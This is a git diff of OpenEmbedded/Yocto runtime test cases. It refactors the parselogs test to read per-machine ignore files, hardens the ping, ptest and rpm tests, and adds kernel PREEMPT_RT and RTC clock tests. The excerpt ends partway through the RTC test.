diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarmv5.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarmv5.txt
new file mode 100644
index 0000000000..ed91107b7d
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarmv5.txt
@@ -0,0 +1,19 @@
+# Code is 2 JENT_ECOARSETIME: Timer too coarse for RNG.
+jitterentropy: Initialization failed with host not compliant with requirements: 2
+
+# These should be reviewed to see if they are still needed
+mmci-pl18x: probe of fpga:05 failed with error -22
+mmci-pl18x: probe of fpga:0b failed with error -22
+
+OF: amba_device_add() failed (-19) for /amba/smc@10100000
+OF: amba_device_add() failed (-19) for /amba/mpmc@10110000
+OF: amba_device_add() failed (-19) for /amba/sctl@101e0000
+OF: amba_device_add() failed (-19) for /amba/watchdog@101e1000
+OF: amba_device_add() failed (-19) for /amba/sci@101f0000
+OF: amba_device_add() failed (-19) for /amba/spi@101f4000
+OF: amba_device_add() failed (-19) for /amba/ssp@101f4000
+OF: amba_device_add() failed (-19) for /amba/fpga/sci@a000
+Failed to initialize '/amba/timer@101e3000': -22
+
+clcd-pl11x: probe of 10120000.display failed with error -2
+arm-charlcd 10008000.lcd: error -ENXIO: IRQ index 0 not found
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc.txt
new file mode 100644
index 0000000000..d9b58b58f1
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc.txt
@@ -0,0 +1,6 @@
+# These should be reviewed to see if they are still needed
+PCI 0000:00 Cannot reserve Legacy IO [io 0x0000-0x0fff]
+host side 80-wire cable detection failed, limiting max speed
+mode "640x480" test failed
+can't handle BAR above 4GB
+Cannot reserve Legacy IO \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc64.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc64.txt
new file mode 100644
index 0000000000..b736a2aeb7
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc64.txt
@@ -0,0 +1,4 @@
+# These should be reviewed to see if they are still needed
+vio vio: uevent: failed to send synthetic uevent
+synth uevent: /devices/vio: failed to send uevent
+PCI 0000:00 Cannot reserve Legacy IO [io 0x10000-0x10fff] \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemux86.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemux86.txt
new file mode 100644
index 0000000000..ebb76f1221
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemux86.txt
@@ -0,0 +1,2 @@
+# These should be reviewed to see if they are still needed
+Failed to access perfctr msr (MSR
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86.txt
new file mode 100644
index 0000000000..5985247daf
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86.txt
@@ -0,0 +1,10 @@
+# These should be reviewed to see if they are still needed
+[drm:psb_do_init] *ERROR* Debug is
+wrong ELF class
+Could not enable PowerButton event
+probe of LNXPWRBN:00 failed with error -22
+pmd_set_huge: Cannot satisfy
+failed to setup card detect gpio
+amd_nb: Cannot enumerate AMD northbridges
+failed to retrieve link info, disabling eDP
+Direct firmware load for iwlwifi
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86_64.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86_64.txt
new file mode 120000
index 0000000000..404e384c32
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-x86_64.txt
@@ -0,0 +1 @@
+parselogs-ignores-x86.txt \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py b/meta/lib/oeqa/runtime/cases/parselogs.py
index a1791b5cca..6966923c94 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -1,204 +1,49 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
+import collections
import os
+import sys
-from subprocess import check_output
from shutil import rmtree
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
-from oeqa.core.decorator.data import skipIfDataVar
-from oeqa.runtime.decorator.package import OEHasPackage
-
-#in the future these lists could be moved outside of module
-errors = ["error", "cannot", "can\'t", "failed"]
-
-common_errors = [
- "(WW) warning, (EE) error, (NI) not implemented, (??) unknown.",
- "dma timeout",
- "can\'t add hid device:",
- "usbhid: probe of ",
- "_OSC failed (AE_ERROR)",
- "_OSC failed (AE_SUPPORT)",
- "AE_ALREADY_EXISTS",
- "ACPI _OSC request failed (AE_SUPPORT)",
- "can\'t disable ASPM",
- "Failed to load module \"vesa\"",
- "Failed to load module vesa",
- "Failed to load module \"modesetting\"",
- "Failed to load module modesetting",
- "Failed to load module \"glx\"",
- "Failed to load module \"fbdev\"",
- "Failed to load module fbdev",
- "Failed to load module glx",
- "[drm] Cannot find any crtc or sizes - going 1024x768",
- "_OSC failed (AE_NOT_FOUND); disabling ASPM",
- "Open ACPI failed (/var/run/acpid.socket) (No such file or directory)",
- "NX (Execute Disable) protection cannot be enabled: non-PAE kernel!",
- "hd.: possibly failed opcode",
- 'NETLINK INITIALIZATION FAILED',
- 'kernel: Cannot find map file',
- 'omap_hwmod: debugss: _wait_target_disable failed',
- 'VGA arbiter: cannot open kernel arbiter, no multi-card support',
- 'Failed to find URL:http://ipv4.connman.net/online/status.html',
- 'Online check failed for',
- 'netlink init failed',
- 'Fast TSC calibration',
- "BAR 0-9",
- "Failed to load module \"ati\"",
- "controller can't do DEVSLP, turning off",
- "stmmac_dvr_probe: warning: cannot get CSR clock",
- "error: couldn\'t mount because of unsupported optional features",
- "GPT: Use GNU Parted to correct GPT errors",
- "Cannot set xattr user.Librepo.DownloadInProgress",
- "Failed to read /var/lib/nfs/statd/state: Success",
- "error retry time-out =",
- "logind: cannot setup systemd-logind helper (-61), using legacy fallback",
- "Failed to rename network interface",
- "Failed to process device, ignoring: Device or resource busy",
- "Cannot find a map file",
- "[rdrand]: Initialization Failed",
- "[pulseaudio] authkey.c: Failed to open cookie file",
- "[pulseaudio] authkey.c: Failed to load authentication key",
- ]
-video_related = [
-]
+# importlib.resources.open_text in Python <3.10 doesn't search all directories
+# when a package is split across multiple directories. Until we can rely on
+# 3.10+, reimplement the searching logic.
+if sys.version_info < (3, 10):
+ def _open_text(package, resource):
+ import importlib, pathlib
+ module = importlib.import_module(package)
+ for path in module.__path__:
+ candidate = pathlib.Path(path) / resource
+ if candidate.exists():
+ return candidate.open(encoding='utf-8')
+ raise FileNotFoundError
+else:
+ from importlib.resources import open_text as _open_text
-x86_common = [
- '[drm:psb_do_init] *ERROR* Debug is',
- 'wrong ELF class',
- 'Could not enable PowerButton event',
- 'probe of LNXPWRBN:00 failed with error -22',
- 'pmd_set_huge: Cannot satisfy',
- 'failed to setup card detect gpio',
- 'amd_nb: Cannot enumerate AMD northbridges',
- 'failed to retrieve link info, disabling eDP',
- 'Direct firmware load for iwlwifi',
- 'Direct firmware load for regulatory.db',
- 'failed to load regulatory.db',
-] + common_errors
-qemux86_common = [
- 'wrong ELF class',
- "fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge.",
- "can't claim BAR ",
- 'amd_nb: Cannot enumerate AMD northbridges',
- 'tsc: HPET/PMTIMER calibration failed',
- "modeset(0): Failed to initialize the DRI2 extension",
- "glamor initialization failed",
-] + common_errors
+class ParseLogsTest(OERuntimeTestCase):
-ignore_errors = {
- 'default' : common_errors,
- 'qemux86' : [
- 'Failed to access perfctr msr (MSR',
- 'pci 0000:00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t size)',
- ] + qemux86_common,
- 'qemux86-64' : qemux86_common,
- 'qemumips' : [
- 'Failed to load module "glx"',
- 'pci 0000:00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t size)',
- 'cacheinfo: Failed to find cpu0 device node',
- ] + common_errors,
- 'qemumips64' : [
- 'pci 0000:00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t size)',
- 'cacheinfo: Failed to find cpu0 device node',
- ] + common_errors,
- 'qemuppc' : [
- 'PCI 0000:00 Cannot reserve Legacy IO [io 0x0000-0x0fff]',
- 'host side 80-wire cable detection failed, limiting max speed',
- 'mode "640x480" test failed',
- 'Failed to load module "glx"',
- 'can\'t handle BAR above 4GB',
- 'Cannot reserve Legacy IO',
- ] + common_errors,
- 'qemuarm' : [
- 'mmci-pl18x: probe of fpga:05 failed with error -22',
- 'mmci-pl18x: probe of fpga:0b failed with error -22',
- 'Failed to load module "glx"',
- 'OF: amba_device_add() failed (-19) for /amba/smc@10100000',
- 'OF: amba_device_add() failed (-19) for /amba/mpmc@10110000',
- 'OF: amba_device_add() failed (-19) for /amba/sctl@101e0000',
- 'OF: amba_device_add() failed (-19) for /amba/watchdog@101e1000',
- 'OF: amba_device_add() failed (-19) for /amba/sci@101f0000',
- 'OF: amba_device_add() failed (-19) for /amba/spi@101f4000',
- 'OF: amba_device_add() failed (-19) for /amba/ssp@101f4000',
- 'OF: amba_device_add() failed (-19) for /amba/fpga/sci@a000',
- 'Failed to initialize \'/amba/timer@101e3000\': -22',
- 'jitterentropy: Initialization failed with host not compliant with requirements: 2',
- ] + common_errors,
- 'qemuarm64' : [
- 'Fatal server error:',
- '(EE) Server terminated with error (1). Closing log file.',
- 'dmi: Firmware registration failed.',
- 'irq: type mismatch, failed to map hwirq-27 for /intc',
- 'logind: failed to get session seat',
- ] + common_errors,
- 'intel-core2-32' : [
- 'ACPI: No _BQC method, cannot determine initial brightness',
- '[Firmware Bug]: ACPI: No _BQC method, cannot determine initial brightness',
- '(EE) Failed to load module "psb"',
- '(EE) Failed to load module psb',
- '(EE) Failed to load module "psbdrv"',
- '(EE) Failed to load module psbdrv',
- '(EE) open /dev/fb0: No such file or directory',
- '(EE) AIGLX: reverting to software rendering',
- 'dmi: Firmware registration failed.',
- 'ioremap error for 0x78',
- ] + x86_common,
- 'intel-corei7-64' : [
- 'can\'t set Max Payload Size to 256',
- 'intel_punit_ipc: can\'t request region for resource',
- '[drm] parse error at position 4 in video mode \'efifb\'',
- 'ACPI Error: Could not enable RealTimeClock event',
- 'ACPI Warning: Could not enable fixed event - RealTimeClock',
- 'hci_intel INT33E1:00: Unable to retrieve gpio',
- 'hci_intel: probe of INT33E1:00 failed',
- 'can\'t derive routing for PCI INT A',
- 'failed to read out thermal zone',
- 'Bluetooth: hci0: Setting Intel event mask failed',
- 'ttyS2 - failed to request DMA',
- 'Bluetooth: hci0: Failed to send firmware data (-38)',
- 'atkbd serio0: Failed to enable keyboard on isa0060/serio0',
- ] + x86_common,
- 'genericx86' : x86_common,
- 'genericx86-64' : [
- 'Direct firmware load for i915',
- 'Failed to load firmware i915',
- 'Failed to fetch GuC',
- 'Failed to initialize GuC',
- 'Failed to load DMC firmware',
- 'The driver is built-in, so to load the firmware you need to',
- ] + x86_common,
- 'edgerouter' : [
- 'not creating \'/sys/firmware/fdt\'',
- 'Failed to find cpu0 device node',
- 'Fatal server error:',
- 'Server terminated with error',
- ] + common_errors,
- 'beaglebone-yocto' : [
- 'Direct firmware load for regulatory.db',
- 'failed to load regulatory.db',
- 'l4_wkup_cm',
- 'Failed to load module "glx"',
- 'Failed to make EGL context current',
- 'glamor initialization failed',
- ] + common_errors,
-}
+ # Which log files should be collected
+ log_locations = ["/var/log/", "/var/log/dmesg", "/tmp/dmesg_output.log"]
-log_locations = ["/var/log/","/var/log/dmesg", "/tmp/dmesg_output.log"]
+ # The keywords that identify error messages in the log files
+ errors = ["error", "cannot", "can't", "failed"]
-class ParseLogsTest(OERuntimeTestCase):
+ # A list of error messages that should be ignored
+ ignore_errors = []
@classmethod
def setUpClass(cls):
- cls.errors = errors
-
# When systemd is enabled we need to notice errors on
# circular dependencies in units.
- if 'systemd' in cls.td.get('DISTRO_FEATURES', ''):
+ if 'systemd' in cls.td.get('DISTRO_FEATURES'):
cls.errors.extend([
'Found ordering cycle on',
'Breaking ordering cycle by deleting job',
@@ -206,48 +51,22 @@ class ParseLogsTest(OERuntimeTestCase):
'Ordering cycle found, skipping',
])
- cls.ignore_errors = ignore_errors
- cls.log_locations = log_locations
- cls.msg = ''
- is_lsb, _ = cls.tc.target.run("which LSB_Test.sh")
- if is_lsb == 0:
- for machine in cls.ignore_errors:
- cls.ignore_errors[machine] = cls.ignore_errors[machine] \
- + video_related
-
- def getMachine(self):
- return self.td.get('MACHINE', '')
-
- def getWorkdir(self):
- return self.td.get('WORKDIR', '')
-
- # Get some information on the CPU of the machine to display at the
- # beginning of the output. This info might be useful in some cases.
- def getHardwareInfo(self):
- hwi = ""
- cmd = ('cat /proc/cpuinfo | grep "model name" | head -n1 | '
- " awk 'BEGIN{FS=\":\"}{print $2}'")
- _, cpu_name = self.target.run(cmd)
-
- cmd = ('cat /proc/cpuinfo | grep "cpu cores" | head -n1 | '
- "awk {'print $4'}")
- _, cpu_physical_cores = self.target.run(cmd)
-
- cmd = 'cat /proc/cpuinfo | grep "processor" | wc -l'
- _, cpu_logical_cores = self.target.run(cmd)
-
- _, cpu_arch = self.target.run('uname -m')
+ cls.errors = [s.casefold() for s in cls.errors]
- hwi += 'Machine information: \n'
- hwi += '*******************************\n'
- hwi += 'Machine name: ' + self.getMachine() + '\n'
- hwi += 'CPU: ' + str(cpu_name) + '\n'
- hwi += 'Arch: ' + str(cpu_arch)+ '\n'
- hwi += 'Physical cores: ' + str(cpu_physical_cores) + '\n'
- hwi += 'Logical cores: ' + str(cpu_logical_cores) + '\n'
- hwi += '*******************************\n'
+ cls.load_machine_ignores()
- return hwi
+ @classmethod
+ def load_machine_ignores(cls):
+ # Add TARGET_ARCH explicitly as not every machine has that in MACHINEOVERRDES (eg qemux86-64)
+ for candidate in ["common", cls.td.get("TARGET_ARCH")] + cls.td.get("MACHINEOVERRIDES").split(":"):
+ try:
+ name = f"parselogs-ignores-{candidate}.txt"
+ for line in _open_text("oeqa.runtime.cases", name):
+ line = line.strip()
+ if line and not line.startswith("#"):
+ cls.ignore_errors.append(line.casefold())
+ except FileNotFoundError:
+ pass
# Go through the log locations provided and if it's a folder
# create a list with all the .log files in it, if it's a file
@@ -255,23 +74,23 @@ class ParseLogsTest(OERuntimeTestCase):
def getLogList(self, log_locations):
logs = []
for location in log_locations:
- status, _ = self.target.run('test -f ' + str(location))
+ status, _ = self.target.run('test -f %s' % location)
if status == 0:
- logs.append(str(location))
+ logs.append(location)
else:
- status, _ = self.target.run('test -d ' + str(location))
+ status, _ = self.target.run('test -d %s' % location)
if status == 0:
- cmd = 'find ' + str(location) + '/*.log -maxdepth 1 -type f'
+ cmd = 'find %s -name \\*.log -maxdepth 1 -type f' % location
status, output = self.target.run(cmd)
if status == 0:
output = output.splitlines()
for logfile in output:
- logs.append(os.path.join(location, str(logfile)))
+ logs.append(os.path.join(location, logfile))
return logs
# Copy the log files to be parsed locally
def transfer_logs(self, log_list):
- workdir = self.getWorkdir()
+ workdir = self.td.get('WORKDIR')
self.target_logs = workdir + '/' + 'target_logs'
target_logs = self.target_logs
if os.path.exists(target_logs):
@@ -288,65 +107,55 @@ class ParseLogsTest(OERuntimeTestCase):
logs = [f for f in dir_files if os.path.isfile(f)]
return logs
- # Build the grep command to be used with filters and exclusions
- def build_grepcmd(self, errors, ignore_errors, log):
- grepcmd = 'grep '
- grepcmd += '-Ei "'
- for error in errors:
- grepcmd += '\<' + error + '\>' + '|'
- grepcmd = grepcmd[:-1]
- grepcmd += '" ' + str(log) + " | grep -Eiv \'"
-
- try:
- errorlist = ignore_errors[self.getMachine()]
- except KeyError:
- self.msg += 'No ignore list found for this machine, using default\n'
- errorlist = ignore_errors['default']
-
- for ignore_error in errorlist:
- ignore_error = ignore_error.replace('(', '\(')
- ignore_error = ignore_error.replace(')', '\)')
- ignore_error = ignore_error.replace("'", '.')
- ignore_error = ignore_error.replace('?', '\?')
- ignore_error = ignore_error.replace('[', '\[')
- ignore_error = ignore_error.replace(']', '\]')
- ignore_error = ignore_error.replace('*', '\*')
- ignore_error = ignore_error.replace('0-9', '[0-9]')
- grepcmd += ignore_error + '|'
- grepcmd = grepcmd[:-1]
- grepcmd += "\'"
-
- return grepcmd
-
- # Grep only the errors so that their context could be collected.
- # Default context is 10 lines before and after the error itself
- def parse_logs(self, errors, ignore_errors, logs,
- lines_before = 10, lines_after = 10):
- results = {}
- rez = []
- grep_output = ''
+ def get_context(self, lines, index, before=6, after=3):
+ """
+ Given a set of lines and the index of the line that is important, return
+ a number of lines surrounding that line.
+ """
+ last = len(lines)
+
+ start = index - before
+ end = index + after + 1
+
+ if start < 0:
+ end -= start
+ start = 0
+ if end > last:
+ start -= end - last
+ end = last
+
+ return lines[start:end]
+
+ def test_get_context(self):
+ """
+ A test case for the test case.
+ """
+ lines = list(range(0,10))
+ self.assertEqual(self.get_context(lines, 0, 2, 1), [0, 1, 2, 3])
+ self.assertEqual(self.get_context(lines, 5, 2, 1), [3, 4, 5, 6])
+ self.assertEqual(self.get_context(lines, 9, 2, 1), [6, 7, 8, 9])
+
+ def parse_logs(self, logs, lines_before=10, lines_after=10):
+ """
+ Search the log files @logs looking for error lines (marked by
+ @self.errors), ignoring anything listed in @self.ignore_errors.
+
+ Returns a dictionary of log filenames to a dictionary of error lines to
+ the error context (controlled by @lines_before and @lines_after).
+ """
+ results = collections.defaultdict(dict)
for log in logs:
- result = None
- thegrep = self.build_grepcmd(errors, ignore_errors, log)
+ with open(log) as f:
+ lines = f.readlines()
- try:
- result = check_output(thegrep, shell=True).decode('utf-8')
- except:
- pass
+ for i, line in enumerate(lines):
+ line = line.strip()
+ line_lower = line.casefold()
- if result is not None:
- results[log] = {}
- rez = result.splitlines()
-
- for xrez in rez:
- try:
- cmd = ['grep', '-F', xrez, '-B', str(lines_before)]
- cmd += ['-A', str(lines_after), log]
- grep_output = check_output(cmd).decode('utf-8')
- except:
- pass
- results[log][xrez]=grep_output
+ if any(keyword in line_lower for keyword in self.errors):
+ if not any(ignore in line_lower for ignore in self.ignore_errors):
+ results[log][line] = "".join(self.get_context(lines, i, lines_before, lines_after))
return results
@@ -359,17 +168,18 @@ class ParseLogsTest(OERuntimeTestCase):
def test_parselogs(self):
self.write_dmesg()
log_list = self.get_local_log_list(self.log_locations)
- result = self.parse_logs(self.errors, self.ignore_errors, log_list)
- print(self.getHardwareInfo())
+ result = self.parse_logs(log_list)
+
errcount = 0
+ self.msg = ""
for log in result:
self.msg += 'Log: ' + log + '\n'
self.msg += '-----------------------\n'
for error in result[log]:
errcount += 1
- self.msg += 'Central error: ' + str(error) + '\n'
+ self.msg += 'Central error: ' + error + '\n'
self.msg += '***********************\n'
- self.msg += result[str(log)][str(error)] + '\n'
+ self.msg += result[log][error] + '\n'
self.msg += '***********************\n'
self.msg += '%s errors found in logs.' % errcount
self.assertEqual(errcount, 0, msg=self.msg)
diff --git a/meta/lib/oeqa/runtime/cases/perl.py b/meta/lib/oeqa/runtime/cases/perl.py
index 2c6b3b7846..f11b300836 100644
--- a/meta/lib/oeqa/runtime/cases/perl.py
+++ b/meta/lib/oeqa/runtime/cases/perl.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/ping.py b/meta/lib/oeqa/runtime/cases/ping.py
index f6603f75ec..f72460e7f3 100644
--- a/meta/lib/oeqa/runtime/cases/ping.py
+++ b/meta/lib/oeqa/runtime/cases/ping.py
@@ -1,11 +1,15 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
from subprocess import Popen, PIPE
+from time import sleep
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.exception import OEQATimeoutError
class PingTest(OERuntimeTestCase):
@@ -13,14 +17,19 @@ class PingTest(OERuntimeTestCase):
def test_ping(self):
output = ''
count = 0
- while count < 5:
- cmd = 'ping -c 1 %s' % self.target.ip
- proc = Popen(cmd, shell=True, stdout=PIPE)
- output += proc.communicate()[0].decode('utf-8')
- if proc.poll() == 0:
- count += 1
- else:
- count = 0
+ self.assertNotEqual(len(self.target.ip), 0, msg="No target IP address set")
+ try:
+ while count < 5:
+ cmd = 'ping -c 1 %s' % self.target.ip
+ proc = Popen(cmd, shell=True, stdout=PIPE)
+ output += proc.communicate()[0].decode('utf-8')
+ if proc.poll() == 0:
+ count += 1
+ else:
+ count = 0
+ sleep(1)
+ except OEQATimeoutError:
+ self.fail("Ping timeout error for address %s, count %s, output: %s" % (self.target.ip, count, output))
msg = ('Expected 5 consecutive, got %d.\n'
'ping output is:\n%s' % (count,output))
self.assertEqual(count, 5, msg = msg)
diff --git a/meta/lib/oeqa/runtime/cases/ptest.py b/meta/lib/oeqa/runtime/cases/ptest.py
index a9572c81f0..fbaeb84d00 100644
--- a/meta/lib/oeqa/runtime/cases/ptest.py
+++ b/meta/lib/oeqa/runtime/cases/ptest.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -57,7 +59,7 @@ class PtestRunnerTest(OERuntimeTestCase):
ptest_dirs = [ '/usr/lib' ]
if not libdir in ptest_dirs:
ptest_dirs.append(libdir)
- status, output = self.target.run('ptest-runner -d \"{}\"'.format(' '.join(ptest_dirs)), 0)
+ status, output = self.target.run('ptest-runner -t 450 -d \"{}\"'.format(' '.join(ptest_dirs)), 0)
os.makedirs(ptest_log_dir)
with open(ptest_runner_log, 'w') as f:
f.write(output)
@@ -81,17 +83,20 @@ class PtestRunnerTest(OERuntimeTestCase):
extras['ptestresult.sections'] = sections
+ zerolength = []
trans = str.maketrans("()", "__")
for section in results:
for test in results[section]:
result = results[section][test]
testname = "ptestresult." + (section or "No-section") + "." + "_".join(test.translate(trans).split())
extras[testname] = {'status': result}
+ if not results[section]:
+ zerolength.append(section)
failed_tests = {}
for section in sections:
- if 'exitcode' in sections[section].keys():
+ if 'exitcode' in sections[section].keys() or 'timeout' in sections[section].keys():
failed_tests[section] = sections[section]["log"]
for section in results:
@@ -105,7 +110,11 @@ class PtestRunnerTest(OERuntimeTestCase):
failmsg = "ERROR: Processes were killed by the OOM Killer:\n%s\n" % output
if failed_tests:
- failmsg = failmsg + "Failed ptests:\n%s" % pprint.pformat(failed_tests)
+ failmsg = failmsg + "\nFailed ptests:\n%s\n" % pprint.pformat(failed_tests)
+
+ if zerolength:
+ failmsg = failmsg + "\nptests which had no test results:\n%s" % pprint.pformat(zerolength)
if failmsg:
+ self.logger.warning("There were failing ptests.")
self.fail(failmsg)
diff --git a/meta/lib/oeqa/runtime/cases/python.py b/meta/lib/oeqa/runtime/cases/python.py
index ec54f1e1db..5d6d133480 100644
--- a/meta/lib/oeqa/runtime/cases/python.py
+++ b/meta/lib/oeqa/runtime/cases/python.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/rpm.py b/meta/lib/oeqa/runtime/cases/rpm.py
index 8e18b426f8..ea5619ffea 100644
--- a/meta/lib/oeqa/runtime/cases/rpm.py
+++ b/meta/lib/oeqa/runtime/cases/rpm.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -49,21 +51,20 @@ class RpmBasicTest(OERuntimeTestCase):
msg = 'status: %s. Cannot run rpm -qa: %s' % (status, output)
self.assertEqual(status, 0, msg=msg)
- def check_no_process_for_user(u):
- _, output = self.target.run(self.tc.target_cmds['ps'])
- if u + ' ' in output:
- return False
- else:
- return True
+ def wait_for_no_process_for_user(u, timeout = 120):
+ timeout_at = time.time() + timeout
+ while time.time() < timeout_at:
+ _, output = self.target.run(self.tc.target_cmds['ps'])
+ if u + ' ' not in output:
+ return
+ time.sleep(1)
+ user_pss = [ps for ps in output.split("\n") if u + ' ' in ps]
+ msg = "User %s has processes still running: %s" % (u, "\n".join(user_pss))
+ self.fail(msg=msg)
def unset_up_test_user(u):
# ensure no test1 process in running
- timeout = time.time() + 30
- while time.time() < timeout:
- if check_no_process_for_user(u):
- break
- else:
- time.sleep(1)
+ wait_for_no_process_for_user(u)
status, output = self.target.run('userdel -r %s' % u)
msg = 'Failed to erase user: %s' % output
self.assertTrue(status == 0, msg=msg)
@@ -79,21 +80,24 @@ class RpmBasicTest(OERuntimeTestCase):
class RpmInstallRemoveTest(OERuntimeTestCase):
- @classmethod
- def setUpClass(cls):
- pkgarch = cls.td['TUNE_PKGARCH'].replace('-', '_')
- rpmdir = os.path.join(cls.tc.td['DEPLOY_DIR'], 'rpm', pkgarch)
+ def _find_test_file(self):
+ pkgarch = self.td['TUNE_PKGARCH'].replace('-', '_')
+ rpmdir = os.path.join(self.tc.td['DEPLOY_DIR'], 'rpm', pkgarch)
# Pick base-passwd-doc as a test file to get installed, because it's small
# and it will always be built for standard targets
rpm_doc = 'base-passwd-doc-*.%s.rpm' % pkgarch
if not os.path.exists(rpmdir):
- return
+ self.fail("Rpm directory {} does not exist".format(rpmdir))
for f in fnmatch.filter(os.listdir(rpmdir), rpm_doc):
- cls.test_file = os.path.join(rpmdir, f)
- cls.dst = '/tmp/base-passwd-doc.rpm'
+ self.test_file = os.path.join(rpmdir, f)
+ break
+ else:
+ self.fail("Couldn't find the test rpm file {} in {}".format(rpm_doc, rpmdir))
+ self.dst = '/tmp/base-passwd-doc.rpm'
@OETestDepends(['rpm.RpmBasicTest.test_rpm_query'])
def test_rpm_install(self):
+ self._find_test_file()
self.tc.target.copyTo(self.test_file, self.dst)
status, output = self.target.run('rpm -ivh /tmp/base-passwd-doc.rpm')
msg = 'Failed to install base-passwd-doc package: %s' % output
@@ -116,12 +120,13 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
Author: Alexander Kanavin <alex.kanavin@gmail.com>
AutomatedBy: Daniel Istrate <daniel.alexandrux.istrate@intel.com>
"""
- db_files_cmd = 'ls /var/lib/rpm/__db.*'
+ self._find_test_file()
+ db_files_cmd = 'ls /var/lib/rpm/rpmdb.sqlite*'
check_log_cmd = "grep RPM /var/log/messages | wc -l"
- # Make sure that some database files are under /var/lib/rpm as '__db.xxx'
+ # Make sure that some database files are under /var/lib/rpm as 'rpmdb.sqlite'
status, output = self.target.run(db_files_cmd)
- msg = 'Failed to find database files under /var/lib/rpm/ as __db.xxx'
+ msg = 'Failed to find database files under /var/lib/rpm/ as rpmdb.sqlite'
self.assertEqual(0, status, msg=msg)
self.tc.target.copyTo(self.test_file, self.dst)
@@ -141,13 +146,4 @@ class RpmInstallRemoveTest(OERuntimeTestCase):
self.tc.target.run('rm -f %s' % self.dst)
- # if using systemd this should ensure all entries are flushed to /var
- status, output = self.target.run("journalctl --sync")
- # Get the amount of entries in the log file
- status, output = self.target.run(check_log_cmd)
- msg = 'Failed to get the final size of the log file.'
- self.assertEqual(0, status, msg=msg)
- # Check that there's enough of them
- self.assertGreaterEqual(int(output), 80,
- 'Cound not find sufficient amount of rpm entries in /var/log/messages, found {} entries'.format(output))
diff --git a/meta/lib/oeqa/runtime/cases/rt.py b/meta/lib/oeqa/runtime/cases/rt.py
new file mode 100644
index 0000000000..15ab4dbbbb
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rt.py
@@ -0,0 +1,19 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+
+class RtTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_is_rt(self):
+ """
+ Check that the kernel has CONFIG_PREEMPT_RT enabled.
+ """
+ status, output = self.target.run("uname -a")
+ self.assertEqual(status, 0, msg=output)
+ # Split so we don't get a substring false-positive
+ self.assertIn("PREEMPT_RT", output.split())
diff --git a/meta/lib/oeqa/runtime/cases/rtc.py b/meta/lib/oeqa/runtime/cases/rtc.py
new file mode 100644
index 0000000000..6e45c5db4f
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/rtc.py
@@ -0,0 +1,45 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfFeature
+from oeqa.runtime.decorator.package import OEHasPackage
+
+import re
+
+class RTCTest(OERuntimeTestCase):
+
+ def setUp(self):
+ if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
+ self.logger.debug('Stopping systemd-timesyncd daemon')
+ self.target.run('systemctl disable --now --runtime systemd-timesyncd')
+
+ def tearDown(self):
+ if self.tc.td.get('VIRTUAL-RUNTIME_init_manager') == 'systemd':
+ self.logger.debug('Starting systemd-timesyncd daemon')
+ self.target.run('systemctl enable --now --runtime systemd-timesyncd')
+
+ @skipIfFeature('read-only-rootfs',
+ 'Test does not work with read-only-rootfs in IMAGE_FEATURES')
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['coreutils', 'busybox'])
+ def test_rtc(self):
+ (status, output) = self.target.run('hwclock -r')
+ self.assertEqual(status, 0, msg='Failed to get RTC time, output: %s' % output)
+
+ (status, current_datetime) = self.target.run('date +"%m%d%H%M%Y"')
